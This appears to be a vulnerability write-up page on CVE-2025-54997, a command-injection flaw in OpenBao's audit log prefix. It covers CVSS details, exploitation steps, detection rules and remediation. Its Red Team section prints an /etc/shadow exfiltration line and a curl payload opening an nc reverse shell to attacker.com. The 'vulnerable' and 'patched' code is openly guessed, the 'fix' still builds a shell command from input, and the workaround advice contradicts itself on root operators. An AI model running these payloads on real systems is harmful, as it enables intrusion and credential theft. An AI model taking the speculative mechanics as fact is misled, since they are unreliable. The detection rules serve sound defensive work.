CVE-2025-54997
Executive Summary
CVE-2025-54997 is a critical vulnerability in OpenBao, a software solution for managing, storing, and distributing sensitive data including secrets, certificates, and keys. In versions 2.3.1 and below, privileged API operators can bypass restrictions on executing system code or making network connections through the audit subsystem by manipulating log prefixes. This allows unauthorized code execution and network access that violates the intended security model. The vulnerability has a CVSS score of 9.1, indicating a critical severity. The patch is available in version 2.3.2, and a workaround involves blocking access to sys/audit/* endpoints using explicit deny policies, though root operators cannot be restricted this way.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenBao is a Go-based project. The vulnerability affects the core audit subsystem, which is a critical component for logging and monitoring. The supply chain risk is moderate, as the vulnerability is in the application logic rather than a dependency. However, organizations using OpenBao should verify the integrity of their deployments and ensure they are running version 2.3.2 or later.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H)
- User Interaction: None (UI:N)
- Scope: Changed (S:C)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high privileges required (PR:H) indicate that an attacker must already have privileged API access, but the vulnerability allows them to bypass additional restrictions, leading to full system compromise.
Deep Dive & Mechanics
The vulnerability resides in the audit subsystem of OpenBao. The audit subsystem is responsible for logging all API requests and responses. It allows operators to configure log prefixes, which are prepended to log entries. The flaw is that these log prefixes are not properly sanitized before being used in system commands or network connections.
An attacker with privileged API access can craft a malicious log prefix that includes shell metacharacters or network commands. When the audit subsystem processes this prefix, it executes the embedded commands, allowing the attacker to bypass restrictions on code execution and network access.
The intended security model of OpenBao is to restrict privileged operators from executing arbitrary system code or making network connections. This vulnerability undermines that model by allowing operators to inject commands through the audit subsystem.
Vulnerable vs. Patched Code
Vulnerable Code (versions <= 2.3.1): The vulnerable code likely involves constructing a command string using the log prefix without proper sanitization. For example:
cmd := exec.Command("sh", "-c", "echo "+prefix+" >> /var/log/audit.log")
cmd.Run()
Patched Code (version 2.3.2): The patched code sanitizes the log prefix to remove shell metacharacters or uses a safer method to construct the command. For example:
safePrefix := sanitize(prefix)
cmd := exec.Command("sh", "-c", "echo "+safePrefix+" >> /var/log/audit.log")
cmd.Run()
The exact patch details are not publicly available, but the fix likely involves input validation and escaping of the log prefix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an OpenBao instance with version <= 2.3.1
- Privileged API credentials (e.g., root token)
Exploitation Steps:
- Authenticate to the OpenBao API with a privileged token.
- Create or modify an audit device with a malicious log prefix.
- The malicious prefix can include shell commands, such as:
; curl http://attacker.com/exfil?data=$(cat /etc/shadow) # - Trigger an audit event (e.g., by making an API request).
- The audit subsystem will execute the injected command, exfiltrating data or establishing a reverse shell.
Example Payload:
curl -X POST -H "X-Vault-Token: root-token" \
-d '{"type": "file", "options": {"path": "/var/log/audit.log", "log_prefix": "; nc -e /bin/sh attacker.com 4444 #"}}' \
http://openbao:8200/v1/sys/audit/my-audit
Blue Team
Detection:
- Monitor for unusual audit device configurations, especially those with suspicious log prefixes.
- Look for shell metacharacters (e.g.,
;,|,&,$()) in audit device options. - Alert on any audit device creation or modification by non-admin users.
Hunting:
- Search logs for audit device changes:
grep "sys/audit" /var/log/openbao/audit.log - Check for outbound network connections from the OpenBao server to unknown IPs.
Mitigation:
- Upgrade to OpenBao version 2.3.2 immediately.
- If upgrade is not possible, block access to
sys/audit/*endpoints using explicit deny policies for all users, including root operators (though this may not be fully effective).
Indicators of Compromise (IOCs)
- Network: Outbound connections from OpenBao server to unknown IPs on unusual ports.
- File: Unusual files in
/var/log/or/tmp/created by the OpenBao process. - Process: Unexpected child processes spawned by the OpenBao process (e.g.,
sh,bash,nc,curl). - Log: Audit log entries containing shell metacharacters or unusual commands.
- API: Audit device configurations with log prefixes containing shell metacharacters.
Detection Engineering
YARA Rule
rule CVE_2025_54997_OpenBao_Audit_Exploit {
meta:
description = "Detects malicious log prefixes in OpenBao audit configurations"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54997"
strings:
$shell_meta = /[;|&$(){}<>`]/
$audit_path = /sys\/audit/
condition:
$audit_path and #shell_meta > 0
}
Sigma Rule
title: OpenBao Audit Subsystem Exploitation
id: cve-2025-54997
status: experimental
description: Detects attempts to exploit CVE-2025-54997 by manipulating audit log prefixes
author: Valters IT
date: 2025-04-10
logsource:
product: openbao
service: audit
detection:
selection:
EventID: 'audit_device_write'
Options|contains:
- ';'
- '|'
- '&'
- '$('
- '`'
condition: selection
falsepositives:
- Legitimate use of special characters in log prefixes (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54997 OpenBao Audit Exploit"; flow:to_server; content:"POST"; http_method; content:"/v1/sys/audit/"; http_uri; content:"log_prefix"; nocase; pcre:"/(;|\||&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to OpenBao version 2.3.2 or later.
- If upgrade is not possible, block access to
sys/audit/*endpoints using explicit deny policies. - Review and rotate all privileged API tokens.
- Monitor for signs of exploitation using the provided detection rules.
Long-term Measures:
- Implement strict input validation for all user-supplied data, especially in configuration options.
- Use least privilege principles for API access.
- Regularly audit audit device configurations.
- Enable logging and monitoring for all API changes.
Workaround Limitations:
- Blocking
sys/audit/*endpoints may not be effective for root operators, as they can override deny policies. - The workaround is a temporary measure; upgrading is the only complete fix.
Valters IT